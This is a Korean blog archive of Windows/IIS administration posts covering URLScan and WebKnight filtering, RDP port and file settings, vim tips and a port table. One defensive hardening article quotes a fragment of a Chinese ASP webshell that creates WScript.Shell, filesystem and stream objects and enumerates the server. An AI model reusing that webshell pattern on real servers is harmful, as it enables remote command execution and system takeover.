    #Fields: Date ; Time ; Site Instance ; Event ; Client IP ; Username ; Host header ; Additional info about request (event specific)

    …… (중략)

    2010-11-23 ; 16:06:02 ; W3SVC1 ; OnPreprocHeaders ; ::1 ; ; localhost ; GET ; /a.inc ; BLOCKED: accessing/running '.inc' file ; HTTP/1.1 ; Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) ; lang_type=ko; PHPSESSID=7t5nle5ubhdb8c0qspkslh3ts1 ;


    WebKnight 가 제공하는 많은 필터링 기능 중 확장자 제한 규칙에 대해서 간단한 테스트를 확인해 보았으며 그 이외에도 아래와 같이 다양한 필터링 기능을 설정할 수 있습니다.

    이 자료는 KrCERT-TR-2008-004 "WebKnight를 활용한 IIS 웹서버 보안 강화 가이드"에 포함된 내용을 캡쳐하였습니다. 전반적인 규칙 기능에 대한 설명입니다.

    사용자 삽입 이미지


    WebKnight 를 설치하게 되면 기본값으로 설정된 차단 정책이 곧바로 동작하게 되므로 로그를 확인하여 정상적인 서비스가 차단되지 않았는지 반드시 확인하셔야 합니다. 보안 장비, 상용 보안 툴을 사용할 수 없는 환경이라면 요청 필터링, URLScan, WebKnight 를 통해서도 충분히 일반적인 공격에 대한 차단 효과를 얻을 수 있습니다. 물론 환경에 맞는 충분한 테스트가 필요하겠습니다.

    2011/06/11 00:51 2011/06/11 00:51

    UrlScan 3.1 은 IIS 웹 서버 운영 환경에서 유해한 특정 HTTP 요청을 차단하는 보안 기능을 제공하는 툴입니다. 웹 서버에 요청되는 패킷을 분석하는 ISAPI 필터에 등록되어 일반적이지 않은 요청 즉, 대표적으로 SQL 인젝션 공격이나 악의적인 공격으로부터 웹 서버를 보호할 수 있는 기능을 지니고 있습니다.

    URLScan 을 구성할 경우 아래와 같은 항목들에 대해서 HTTP 요청을 거부할 수 있습니다.
    HTTP 요청 메소드/동사(Verb), 요청된 파일 이름 확장자, 의심스런 URL 인코딩, URL 에 non-ASCII 문자열/특정 문자열, 요청에 특정 헤더 항목이 있는 경우 설정에 의한 거부가 가능합니다.


    [설치]
    URLScan 3.1 버전은 Internet Information Services 5.1(Windows XP), 6.0 or 7.0 에서 사용할 수 있으며 x86, x64 시스템에 해당하는 버전을 다운로드 받아 설치할 수 있습니다. 설치 방법은 아래와 같습니다.

    1. 다운로드
    Microsoft Urlscan Filter v3.1 (x64)
    http://www.microsoft.com/downloads/en/details.aspx?FamilyID=361E5598-C1BD-46B8-B3E7-3980E8BDF0DE


    2. URLScan 사용을 위한 역할 서비스 사전 설치
    가. 역할 서비스 - 웹 서버 - 응용 프로그램 개발 - ISAPI 필터
    나. 역할 서비스 - 웹 서버 - 관리도구 - IIS 6 관리 호환성 - IIS 6 메타베이스 호환성
    'IIS 6 메타베이스 호환성' 모듈을 설치하지 않을 경우 설치 시 만약 아래 오류가 발생할 수 있습니다.
    IIS Metabase is required to install Microsoft URLScan filter v3.1


    3. URLScan 3.1 설치 (x64 기준)
    가. %windir%\system32\inetsrv\urlscan 폴더가 생성되고 urlscan.dll, urlscan.ini, log 폴더 생성
    나. %windir%\syswow64\inetsrv 폴더가 생성되고 urlscan.dll 파일 생성

    4. 설치 확인
    가. 인터넷 정보 서비스 관리자 - ISAPI 필터

    사용자 삽입 이미지


    나. URLscan 3.1 - C:\Windows\system32\inetsrv\urlscan\urlscan.dll 등록 확인
    (만약 URLScan 설치 후 ISAPI 필터 기능을 설치하였다면 수동으로 '추가' 할 수 있습니다)

    사용자 삽입 이미지



    설치 및 ISAPI 필터 추가 방법은 아주 간단합니다. 실제 필터링 규칙을 적용하기 위해서는 URLScan.ini 설정을 통해서 이루어집니다. URLScan.ini 옵션은 아래 microsoft.com 웹 사이트에 상세히 설명되어 있습니다. 중복되는 내용은 포스팅 하지 않으려고 합니다. 옵션에 대한 설명은 아래 링크를 참조해 보시기 바랍니다.



    UrlScan 3 Reference
    http://learn.iis.net/page.aspx/938/urlscan-3-reference/

    How to configure the URLScan Tool
    http://support.microsoft.com/kb/326444/en-us


    많은 필터링 옵션을 제공하지만 가장 간단히 요청 파일 이름 확장자를 URLScan 을 통해 차단하는 방법을 소개해 드립니다.


    [시나리오1]
    요청 파일 이름 확장자 .html 을 거부하고 별도 등록되지 않은 다른 모든 파일 확장자는 허용

    1. 설정 방법
    [DenyExtensions]
    .html ; 추가

    2. 결과 확인
    가. 404.0 - Not Found 오류 발생
    나. URLScan Log : GET /index.html Rejected extension+not+allowed file_extension .html

    사용자 삽입 이미지





    [시나리오2]
    요청 파일 이름 확장자 .png 그림 파일을 거부한 경우

    1. 설정 방법
    [DenyExtensions]
    .png ; 추가

    2. 결과 확인
    가. Iisstart.htm 파일을 정상적으로 액세스 하였지만 해당 파일에 링크된 이미지는 필터링 됨
    나. URLScan Log : GET /welcome.png Rejected extension+not+allowed file_extension .png

    사용자 삽입 이미지




    그 외 SQL 인젝션 차단 등 일반적인 URLScan 사용 시나리오에 대해서 아래 웹 사이트에서 소개하고 있습니다.

    Common UrlScan Scenarios
    http://learn.iis.net/page.aspx/476/common-urlscan-scenarios/


    URLScan 에 의해서 차단된 URLScan 규칙에 의해 차단된 요청은 C:\Windows\system32\inetsrv\urlscan\log 폴더에 기록되며 해당 로그를 LogParser.exe 툴을 통해 분석해 보면 차단된 유형 목록을 쉽게 카운트 해서 볼 수 있습니다.


    [참고자료]
    Security Guidance for IIS
    http://technet.microsoft.com/en-us/library/dd450371(WS.10).aspx

    2011/06/11 00:45 2011/06/11 00:45

    비전문가도 사용하기 쉬운 프로젝트 관리 툴 실제 지식 기반 업무 수행에 초점 … 맞춤형 필드로 편리한 UI 구축

    마이크로소프트 프로젝트 2003 버전은 지난 10월 마이크로소프트 오피스 2003과 함께 발표됐다. 주요 오피스 도구들과 데이터 저장간 상호 작용을 개선시키는 데 목적을 두고 있으며 eWEEK 랩 테스트에서는 프로젝트 매니저가 아닌 사람들도 리소스 가상화와 관리를 할 수 있도록 해주는 점이 인상적이었다.

    아직 오피스 2000이나 오피스 97에서 새로운 버전으로 업그레이드 하지 않은 사람들이라면 프로젝트 2003의 데이터 통합과 네트워크 리소스 활용에서 새로운 오피스 플랫폼이 제공할 세계를 실감할 수 있을 것이다.

    기존의 프로젝트 관리 툴은 선택적으로 반영된 사실에 대한 리포팅이나 긍정적인 측면에 대해 프리젠테이션할 때는 프로젝트 2003보다 훌륭하다고 할 수 있다. 그러나 프로젝트 2003은 실제 데이터의 중복 수집과 데이터 입력 작업을 최소화하고 실제 지식에 기반해 일할 수 있도록 하는 데 초점을 맞추고 있다.

    이 제품은 ‘프로젝트 가이드’와의 상호 작용을 통해 문맥 연결에 따른 가이드라인을 계속 제공한다. eWEEK 랩은 프로젝트 가이드가 온라인 도움말보다 훨씬 유용하다고 생각하는데, 온라인 도움말은 화면에 더디게 나타나 작업을 방해할 때가 있기 때문이다. 프로젝트 가이드는 항상 켜져 있으며 툴 속에 통합돼 있다. 추가적인 도움말 자료 역시 제공받을 수 있다.

    프로젝트 2003 사용자들은 매일 프로젝트 기대치가 변화하는 환경에서 이 제품이 제공하는 ‘베이스라인스’라는 모니터링 툴을 이용해 어떤 시점에서든 프로젝트 상황의 스냅샷을 생성할 수 있다. 이같이 생성된 스냅샷은 프로젝트의 진행 과정에 대한 기록으로 사용될 수 있으며 이후 프로젝트 분석가들을 위한 참조 포인트가 되기도 한다.

    프로젝트 2003 기반의 리포트에서는 많은 상황들이 스프레드시트 분석기로 내보내진다. 또 프로젝트 2003이 형성된 원래 데이터에 의존할 경우 사용자들은 프로젝트 2003 환경 내에서 마법사 기능과 통합된 하이퍼링크를 통해 손쉽게 엑셀 파일로 내보내고 들여올 수 있다.

    프로젝트 툴을 다듬어 고유한 요구 사항을 반영시키길 원하는 관리자라면 맞춤형 필드에 대한 규정과 사용 규칙에 대해 정의할 수 있는 많은 옵션을 사용하길 바란다.

    또 전형적인 프로젝트 관리 툴의 가득한 바와 선, 다이어그램을 좋아하지 않는 사용자들은 웹 포탈과 같은 외형과 느낌의 프로젝트 2003을 편하게 사용할 수 있을 것이다. 프로젝트 2003은 현재 발생중인 문제, 위험, 새로운 업무나 기타 주의 혹은 대응이 요구되는 아이템들에 대해 재빠른 드릴 다운을 제공한다.

    이런 웹 접근 모드는 프로젝트 2003의 적용을 확대하는데, 이동이 많은 사용자들은 서버에 간단한 작업 일지와 일정표를 둔 아웃룩 웹 클라이언트와 같은 방식으로 사용할 수 있다.

    프로젝트 2003은 지난 10월 미국 LA에서 열린 프로페셔널 개발자 컨퍼런스에서 시연됐던 마이크로소프트 롱혼 기술과 같은 맥락에서 봐야 한다. 몇 가지 엉켜 있는 새로운 사용자 인터페이스 밑으로, 롱혼은 분리돼 있는 정보 저장소들을 훨씬 편리하게 통합해 주는 매개체가 되고 있다.

    닷넷 기반, 서버 플랫폼으로 설계된 프로젝트 2003은 사용자들에게 리소스 할당 충돌과, 프로젝트에 대한 또다른 위험들을 규정할 수 있는 풍부한 기회를 제공한다. 이것이 기업 고객들이 오피스 스위트에 프로젝트 2003을 추가함으로써 얻는 부가가치다.

    2011/06/11 00:37 2011/06/11 00:37
    지원 OS : MYSQL DB가 구동되는 모든 OS

    개발환경 : MYSQL 5.0

    사용제한 : 프리웨어

    제작자 :
    진짜만세력 델파이 버전 : 고영창님 (kohyc@chol.com)
    진짜만세력 MYSQL 버전 : 이양규님 <pro@trueweb.cc>
    진짜만세력 MYSQL 버전에 대한민국 공유일 정보 추가 : 김성일(newrezn@naver.com)

    자료설명 :

    PHPSCHOOL - DOWNLOAD 게시판의 669번 자료글(양력음력변환 DB)에서 다운받은 자료에 우리나라 공휴일 정보를 추가한 것입니다.

    검색 가능 기간은 양력 기준으로 1900년 01월 01일부터 2200년 12월 31일까지입니다.

    공휴일은 위키백과의 '대한민국의 공휴일'을 참조하여 제정일자로부터 해당 공휴일이 나타나도록 하였고, 폐정일자 이후부터는 나오지 않도록 하였습니다. 각 공휴일의 연휴여부도 적용하였습니다.


    필드는 다음과 같이 구성되어 있습니다.
    num : 등록순번
    lunar_date : 음력일자 (0000-00-00 형식)
    solar_date : 양력일자 (0000-00-00 형식)
    yun : 윤달여부 (0 : 평달, 1 :윤달)
    ganji : 간지
    memo : 공휴일


    압축파일에는 3개 버전 그누보드용 테이블이 들어 있습니다.

    MySQL 4.xxx euc-kr용 : g4_lunartosolar_mysql4.sql
    MySQL 5.xxx euc-kr용 : g4_lunartosolar_mysql5ansi.sql
    MySQL 5.xxx utf-8용 : g4_lunartosolar_mysql5utf8.sql

    MYSQL 버전과 DB언어셋에 맞추어 사용하시면 됩니다.                    
                      
    2011/06/09 04:40 2011/06/09 04:40
    참조 : http://vim.wikia.com/wiki/Launch_files_in_new_tabs_under_Windows

    윈도우용 vim 인 gvim.exe 편집기를 사용할 때
    파일 열면 새창으로 열리지 않고
    하나의 창에서 새탭으로 열리게 하는 팁입니다.
    ..
    윈도우 7 의 경우
    레지스트리 편집기를 열여서 ( regedit 명령어 )

    \HKEY_CLASSES_ROOT\Applications\gvim.exe\shell\edit\command

    항목을 열어서 "기본값" 수정에서

    "C:\Program Files (x86)\Vim\vim73\gvim.exe" "%1"

    와 같이 된 부분을 --remote-tab-silent 옵션을 추가해서
    아래아 같이 수정하고 저장하면 됩니다.

    "C:\Program Files (x86)\Vim\vim73\gvim.exe" --remote-tab-silent "%1"


    ===============
    vim -p a.txt b.txt c.txt 하면 탭으로 열립니다.
    vim -p3 하면 이름없는 파일로 탭 3개가 열립니다.

    연상태에서

    :tabnew d.txt 하면 새탭으로 파일을 열고..

    :tabn 은 앞쪽으로 탭창이동 :tabp 뒤탭으로 이동
    :tabfirst 혹은 :tabfir 는 첫번째 탭창, :tablast 혹은 :tabla 는 마지막 탭창          

    단추키로는 normal에서 gt, gT 키로 탭이동도 됩니다.                             
    2011/05/29 23:58 2011/05/29 23:58
    보안 때문에 Win 서버나 개인 PC 터미널 포트를 기본 포트 외에 다른걸로 셋팅해서 사용하는데
    매번 레지스트리 수정하는게 귀찮고 번거로워서 만들어 봤습니다.




    터미널 포트 변경.vbs
    ========
    MsgBox("터미널 포트 설정을 진행합니다. 저작권 : forioso@naver.com ")
    Port = inputBox("몇번포트를 사용하시겠습니까?")
    msg = MsgBox("터미널 포트를 " & Port & "로 변경합니다. 진행하시겠습니까?",vbYesNo , "터미널포트변경")

    If msg = vbYes Then
    Set wshShell = CreateObject("Wscript.Shell")
    'regPort = wshShell.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber")

    wshShell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber", Port , "REG_DWORD"
    wshShell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber", Port , "REG_DWORD"
    'wshShell = Nothing
    MsgBox("변경 되었습니다.")
    else
    MsgBox("취소 되었습니다.")
    end if                                       
    2011/05/29 23:51 2011/05/29 23:51
    보안 때문에 Win 서버나 개인 PC 터미널 포트를 기본 포트 외에 다른걸로 셋팅해서 사용하는데
    매번 레지스트리 수정하는게 귀찮고 번거로워서 만들어 봤습니다.




    터미널 포트 변경.vbs
    ========
    MsgBox("터미널 포트 설정을 진행합니다. 저작권 : forioso@naver.com ")
    Port = inputBox("몇번포트를 사용하시겠습니까?")
    msg = MsgBox("터미널 포트를 " & Port & "로 변경합니다. 진행하시겠습니까?",vbYesNo , "터미널포트변경")

    If msg = vbYes Then
    Set wshShell = CreateObject("Wscript.Shell")
    'regPort = wshShell.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber")

    wshShell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber", Port , "REG_DWORD"
    wshShell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber", Port , "REG_DWORD"
    'wshShell = Nothing
    MsgBox("변경 되었습니다.")
    else
    MsgBox("취소 되었습니다.")
    end if                                       
    2011/05/14 06:01 2011/05/14 06:01
    제가 convert(varchar(혹은 char),regdate,112)='20110303' 같은 방식으로 날짜를 비교해서 처리하는 경우가 많았습니다.
    group by를 쓸 때도 마찬가지구요.
    근데 별로 느릴 거 같지 않은 쿼리가 느리기에
    혹시나 하고 year(regdate)+right('0'+month(regdate),2) 이런 식으로 바꿨더니
    속도가 확~ 빨라지네요.
    9~11초 걸리던 쿼리가 1초로 바뀌네요.
    2011/03/26 09:50 2011/03/26 09:50

    RDP File Settings

    The new Terminal Services client (version 2600 and newer, 5.1.2600.x) introduces quite a few new capabilities.  A major client-side convenience is that connection settings can be saved in an RDP file which can then be easily edited, copied, and distributed.

    Unfortunately, the parameters are not nearly as well documented as the ActiveX control parameters yet; this will presumably change before the .NET server release.

    In the interim, I've put together a summary of information I have about the parameters contained in the files.

    Which Terminal Services/Remote Desktop Client?

    The newest ones, versions 5.1.2600.x and up.  The client can be downloaded from the Remote Desktop Connection page - and despite the header, it is the client to use for connecting to either Terminal Services or XP Remote Desktop.

    You can install it on any true 32-bit Windows OS except Windows XP and .NET - they already come with their own version.

    Making an RDP File

    You can create an RDP connection file using a text editor; there is nothing special about its structure to prevent this; in fact, the Terminal Services people appear to have been assiduous about making it simple and easy to use; the order in which parameters are placed doesn't even matter.

    The simplest way to do it initially, though, is to run the mstsc client, configure basic settings you want, then choose "Save As..." on the General tab.  You can then open the resulting file in Notepad and work with it.

    RDP File Structure

    The file structure is relatively simple. The standard file consists of several lines; each has parameter name, type, and value, separated by a ":".  Any colons after the second one appear to be ignored (necessary so that file paths can be embedded).  MSTSC also appears to silently ignore anything it cannot parse, so you can insert freeform comments into the file.

    For example, here are two lines which tell MSTSC to establish a 1024x768 desktop when it connects:

    desktopheight:i:768
    desktopwidth:i:1024

    The first element in each line is the parameter name.  Immediately following it, after the first colon, is the parameter type; as far as I can tell, there are only 3 types of values -

  • i (integer) This is used for numeric values such as the desktop resolutions above.  All  of the "on-off" values are integers; this may be to allow future expansion of value types, since some - such as audio redirection and keyboard hooking - actually have multiple values.
  • s (string) Almost everything which is not a pure integer.  This includes paths and server names
  • b (binary) apparently only used for hashed password storage
  • RDP File Parameters

    Below is a table listing all of the parameters I have encountered so far.  I list the parameter name, type, an example value, and then include notes on usage where possible.

    Parameter   Value Notes
    alternate shell s c:\winnt\system32\notepad.exe  Sets the shell to be used within the Terminal Services session. This can be used to set an alternate shell such as progman.exe; you can also use it to set the application which the user runs on logon to the Terminal Server.
    audiomode i 2 Known values:
    0 - Bring to this computer
    1 - Leave at remote computer
    2 - Do not play
    auto connect i 0 0 or 1
    autoreconnection enabled i 1 Set to 1 to connect automatically when file is opened.
    bitmapcachepersistenable i 1 ? 1 maintains bitmap cache between sessions
    compression i 1 ? 1 means use extra compressions
    connect to console i 1 0 - connect to a virtual session
    1 - connect to the console session
    desktopheight i 768 height of session desktop in pixels
    desktopwidth i   width of session desktop in pixels
    disable cursor setting i 0 ?
    disable full window drag i 1 set to 1, disables display of window contents while dragging in session
    disable menu anims i 1 set to 1, disables menu animations in session
    disable themes i 1 set to 1, disables use of themes in session
    disable wallpaper i 1 set to 1, disables display of wallpaper in session
    displayconnectionbar i 1 Set to 1, displays the connection bar in a fullscreen session
    domain s HQ domain name to use for logon
    full address s 192.168.1.1:33389 IP address/name of server (and optional alternate port)
    keyboardhook i 2 For applying standard Windows key combinations
    0 - On the local computer
    1 - On the remote computer
    2 - In fullscreen mode only
    maximizeshell i 0 set to 1, maximizes any alternate shell used in the session
    password 51 b  (big long binary hash) Ifyou choose to save the connection password, this will be a large binary hash value
    port i 3389  
    redirectcomports i 1 set to 1, redirects client COM ports in session (XP/.NET only)
    redirectdrives i 1 set to 1, redirects client drives in session (XP/.NET only)
    redirectprinters i 1 set to 1, redirects client printers in session
    redirectsmartcards i 1 set to 1, redirects client smart cards in session (XP/.NET only)
    screen mode id i 1 FullScreen vs. normal
    0 - ?
    1 - windowed
    2 - fullscreen
    server port i 3389 You can specify the port separately from the "full address" parameter.  Thanks to James from acmewidgets.com for finding this out!
    session bpp i 16 bit depth for session - 8, 16, or 24. Only 8 is valid for Windows 2000 Terminal Servers
    shell working directory s c:\program files\microsoft office Working directory if an alternate shell was specified.
    smart sizing i   Scale the client window display of desktop when resizing
    0 or not present - Do not scale
    1 - Scale (Takes extra resources to scale)
    username s administrator name of user logging on
    winposstr s 0,1,0,249,808,876  ? Not sure about the details on this one.  There are always 6 comma-separated values.  I would guess that these are presets for position and "window mode" sizes - maximized versus sized.


    An Example RDP File

    This is an example RDP connection file. It starts maximized for its desktop size (800x600); color depth is 16-bit; it will attempt to automatically start connecting to 192.168.1.12 on launch; and so on...

    screen mode id:i:1
    desktopwidth:i:800
    desktopheight:i:600
    session bpp:i:16
    auto connect:i:1
    full address:s:192.168.1.12
    compression:i:1
    keyboardhook:i:2
    audiomode:i:2
    redirectdrives:i:0
    redirectprinters:i:0
    redirectcomports:i:0
    redirectsmartcards:i:0
    displayconnectionbar:i:1
    username:s:Administrator
    domain:s:AKA
    alternate shell:s:
    shell working directory:s:
    disable wallpaper:i:1
    disable full window drag:i:1
    disable menu anims:i:1
    disable themes:i:1
    bitmapcachepersistenable:i:1
    
    2011/01/27 01:10 2011/01/27 01:10
    터미널 서비스의 접근 제어를 위해 포트 번호를 변경하고 변경된 포트로 접속하는 방법에 대해서 알아보자.

    서버에 설치된 터미널 서비스의 포트를 변경하려면

    • 시작 - 실행을 눌러 레지스트리 편집기를 실행한다.
    • HKEY_LOCAL_MACHINE\System\CurrentControlSet
      \Control\TerminalServer\Wds\Repwd\Tds\Tcp
      로 이동한다.
    • 이름 종류 데이터
    • PortNumber REG_DWORD 0x00000d3d(3389)
    • 10진수를 선택하고 원하는 다른 포트번호(6666)를 입력한다.
    • HKEY_LOCAL_MACHINE\System\CurrentControlSet
      \Control\TerminalServer\WinStations\RDP-Tcp
      로 이동한다.
    • 이름 종류 데이터
    • PortNumber REG_DWORD 0x00000d3d(3389)
    • 10진수를 선택하고 원하는 다른 포트번호(6666)를 입력를 입력한다.
    • 클라이언트 연결 관리자로 새 연결을 만들때 기입한 단어가 연결 이름이 된다.

    터미널 접속 클라이언트 포트를 변경하려면

    • 클라이언트 연결 관리자를 연다.
    • 파일 메뉴에서 새연결을 클릭한다.
    • 클라이언트 연결 관리자 마법사 시작창이 뜬다.
    • 새 연결을 만들면 연결 관리자 목록에 아이콘이 하나 생성되어 있다.
    • 새 연결을 이용해서 만든 아이콘을 클릭한후 파일 메뉴에서 내보내기를 누른다.
    • 예로 "name" 이름을 지정하면 name.cns파일이 생성된다.
    • name이 연결을 위해 사용하는 이름이다.
    • name.cns 파일을 메모장으로 열고 편집을 Server Port=3389 에서 Server Port=6666 로 수정한다.
    • 6666 이 터미널 서버에서 레지스트리 변경을 해서 새로 지정한 포트의 번호이다.
    • 이제는 클라이언트 연결 관리자를 이용해서 변경한 name.cns파일을 가져오기를 한다.
    • 클라이언트 연결도 관리자가 터미널 서버 세팅에서 변경한 포트와 같게 세팅된다.
    2011/01/27 01:09 2011/01/27 01:09
    ASP 트로이잔 Webshell의 예방 및 문제해결방법
     

    Source from:[S.S.R.E.T]ServersTeam.Org [F.N.S.T]Fineacer.Org
    url:http://www.Serversteam.org/docs/Microsoft_Win_ASP_Webshell_Security.htm

    개요:본문에서는 Microsoft 윈도우 계열의SERVER (IIS5.0、IIS6.0)에서 간단하고 빠르게 ASP 위험성 있는 컨포넌트를 WEB서버 시스템으로부터 멀리하는 것을 설명한다. 본문을 읽는 후 자기가 관리하고 있는 서버를 asp 트로이잔, Webshell 권한상승 및 시스템 보안위협 등으로부터 벗어날 수 있다.

    본문:
    주의:본문에서 언급된 설정방법 및 설정환경은:Microsoft Windows 2000 Server/Win2003 SERVER | IIS5.0/IIS6.0에 적용함.

    1、우선 일반적인ASP트로이잔을 살펴본다, Webshell에서 사용한 ASP 컨포넌트는 아래와 같다. 중국산 webshell인 HY2006를 예를 들어보면,

    <object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
    <object runat="server" id="ws" scope="page" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
    <object runat="server" id="net" scope="page" classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
    <object runat="server" id="net" scope="page" classid="clsid:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B"></object>
    <object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
    shellStr="Shell"
    applicationStr="Application"
    if cmdPath="wscriptShell"
    set sa=server.createObject(shellStr&"."&applicationStr)
    set streamT=server.createObject("adodb.stream")
    set domainObject = GetObject("WinNT://.")

    이상은 HaiYang webshell의 일부 소스다, webshell에서는 아래 여러 종류의 ASP컨포넌트를 사용하고 있는 것을 알 수 있다.
    ① WScript.Shell (classid:72C24DD5-D70A-438B-8A42-98424B88AFB8)
    ② WScript.Shell.1 (classid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B)
    ③ WScript.Network (classid:093FF999-1EA0-4079-9525-9614C3504B74)
    ④ WScript.Network.1 (classid:093FF999-1EA0-4079-9525-9614C3504B74)
    ⑤ FileSystem Object (classid:0D43FE01-F093-11CF-8940-00A0C9054228)
    ⑥ Adodb.stream (classid:{00000566-0000-0010-8000-00AA006D2EA4})
    ⑦ Shell.applicaiton....

    2: 해결방법:

    ① 아래 위험성 있는 ASP 컨포넌트를 삭제 혹은 명칭을 변경한다.
    WScript.Shell、WScript.Shell.1、Wscript.Network、Wscript.Network.1、adodb.stream、Shell.application
    [시작->실행->Regedit]을 실행하여 레지스토리를 수정한다. “Ctrl+F”으로 찾기를 실행한다. 순서대로 위에 Wscript.Shell등 컨포넌트의 명칭 혹은 그와 매칭한 ClassID을 입력한다. 해당 명칭을 삭제하거나 변경한다. (여기서 명칭변경을 권장한다. 만약 일부 웹 페이지의ASP프로그램에서 위에 열거한 컨포넌트를 사용했다면, ASP코드작성시 수정된 컨포넌트의 명칭을 사용하면 모든 것이 정상적 사용을 가능하다. 만약 ASP프로그램에서 이상의 컨포넌트를 사용하지 않는다면 삭제하는 것이 좋다. 삭제 혹은 명칭 변경 후, iisreset으로 IIS재 동작 후 적용한다.)
    [주의:Adodb.Stream 컨포넌트는 많은 사이트에서 사용하기 때문에  만약 서버가 Virtual machine 이면 상황에 따라 조치 바람.]

    ② File System Object (classid:0D43FE01-F093-11CF-8940-00A0C9054228) 보안 문제에 대해 만약 서버에서 FSO를 사용해야 한다면(일부 Virtual Machine에서는 FSO기능을 사용함), FSO보안 해결방법은 “Microsoft Windows 2000 Server FSO 安全隐患解决办法” 문서를 참고하시길 바란다. 사용할 필요 없는 경우 직접 사용중지 하면 된다.

    ③ 사용중지 혹은 위험성 있는 컨포넌트를 삭제하는 방법:(방법① 및 방법②를 번거롭다고 생각하는 분은 본 방법을 참고함.)

    wscript.shell 오브젝트를 해제하는 방법은 아래와 같다. cmd 모드에서[:regsvr32 /u %windir%\system32\WSHom.Ocx]를 실행한다.
    FSO 오브젝트를 cmd 에서 아래 내용을 실행하여 해제한다. [regsvr32.exe /u %windir%\system32\scrrun.dll]
    stream 오브젝트의 해제는 cmd에서 [regsvr32 /s /u "C:\Program Files\Common Files\System\ado\msado15.dll" ]를 실행한다.
    만약 실행취소를 원한다면 위에 명령에 [/U] 옵션만 제거하면 된다. 즉, 관련 ASP컨포넌트를 재실행 가능하다. 예를 들면, regsvr32.exe %windir%\system32\scrrun.dll

    ④ Webshell 중에 set domainObject = GetObject("WinNT://.")을 사용하여 서버 프로세스, 서비스 및 사용자 정보 등을 획득하는 것에 대한 예방 방법은 아래와 같다. 서비스 중의 Workstation[네트워크 연결 및 통신을 제공함] 즉, Lanmanworkstation서비스를 중지하면 문제해결 된다. 이렇게 처리하면 Webshell 프로세스를 디스플레이 하는 곳에 공백으로 표시된다.

    3 위에 방법1、2에 따라 ASP관련 위험한 컨포넌트에 대해 처리 후, Ajiang asp probe으로 테스트하면,"서버CPU상세내역" 및 "서버운영체제"를 찾을 수 없으며 내용은 모두 공백으로 디스플레이 된다. HaiYang을 사용하여 Wscript.Shell를 테스트 하면, cmd commend line에서 Active를 만들 수 없다는 메시지가 디스플레이 된다. ASP 트로이잔이 서버 시스템에 대한 보안 위협을 완화할 수 있다.
    본문에서 소개한 내용은 단지 본인이 ASP트로이잔、Webshell에 대한 소견뿐이다. 향후 여러분께 어떻게 간단하게 타인 컴퓨터에 net user 와 같은 명령의 실행을 방지하고, 버퍼 오버플로우를 통해 cmdshell 획득을 방지 및 사용자 추가의 방지, NTFS 설정권한에서 터미널 서비스 등록 등에 대한 간단하고도 효과적인 방어방법을 소개할 예정이다.


    저자: 李泊林/LeeBolin
    [S.S.R.E.T 服务器安全研究专家小组 CTO] Http://www.serversteam.org
    [F.N.S.T 情长计算机网络安全在线 技术顾问] Http://www.fineacer.org
    E-mail:leebolin#serversteam.org QQ:24460394 본문관련 질문 사항은 메일 혹은 QQ에 연락하시길 바람
     
    2011/01/27 01:09 2011/01/27 01:09
    윈도우에서 구동되는 포트번호로 구분된 네트워크 서비스와 윈도우 서비스로 관련 윈도우 서비스를 제어판에서 중지시킨다면 관련 포트번호를 차단할 수 있다.
    임시방편으론 "%SystemRoot%system32driversetc" services파일에 주석처리로 해당 포트를 disable시킬 수 있다.


    포트
    Protocol
    네트워크 서비스
    관련 윈도우 서비스
    서비스명
    7 TCP Echo Simple TCP/IP Services SimpTcp
    7 UDP Echo Simple TCP/IP Services SimpTcp
    9 TCP Discard Simple TCP/IP Services SimpTcp
    9 UDP Discard Simple TCP/IP Services SimpTcp
    13 TCP Daytime Simple TCP/IP Services SimpTcp
    13 UDP Daytime Simple TCP/IP Services SimpTcp
    17 TCP Quotd Simple TCP/IP Services SimpTcp
    17 UDP Quotd Simple TCP/IP Services SimpTcp
    19 TCP Chargen Simple TCP/IP Services SimpTcp
    19 UDP Chargen Simple TCP/IP Services SimpTcp
    20 TCP FTP default data FTP Publishing Service MSFtpsvc
    21 TCP FTP control FTP Publishing Service MSFtpsvc
    21 TCP FTP control Application Layer Gateway Service ALG
    23 TCP Telnet Telnet TlntSvr
    25 TCP SMTP Simple Mail Transport Protocol SMTPSVC
    25 UDP SMTP Simple Mail Transport Protocol SMTPSVC
    25 TCP SMTP Exchange Server  
    25 UDP SMTP Exchange Server  
    42 TCP WINS Replication Windows Internet Name Service WINS
    42 UDP WINS Replication Windows Internet Name Service WINS
    53 TCP DNS DNS Server DNS
    53 UDP DNS DNS Server DNS
    53 TCP DNS Internet Connection Firewall/Internet Connection Sharing SharedAccess
    53 UDP DNS Internet Connection Firewall/Internet Connection Sharing SharedAccess
    67 UDP DHCP Server DHCP Server DHCPServer
    67 UDP DHCP Server Internet Connection Firewall/Internet Connection Sharing SharedAccess
    69 UDP TFTP Trivial FTP Daemon Service tftpd
    80 TCP HTTP Windows Media Services WMServer
    80 TCP HTTP World Wide Web Publishing Service W3SVC
    80 TCP HTTP SharePoint Portal Server  
    88 TCP Kerberos Kerberos Key Distribution Center Kdc
    88 UDP Kerberos Kerberos Key Distribution Center Kdc
    102 TCP X.400 Microsoft Exchange MTA Stacks  
    110 TCP POP3 Microsoft POP3 Service POP3SVC
    110 TCP POP3 Exchange Server  
    119 TCP NNTP Network News Transfer Protocol NntpSvc
    123 UDP NTP Windows Time W32Time
    123 UDP SNTP Windows Time W32Time
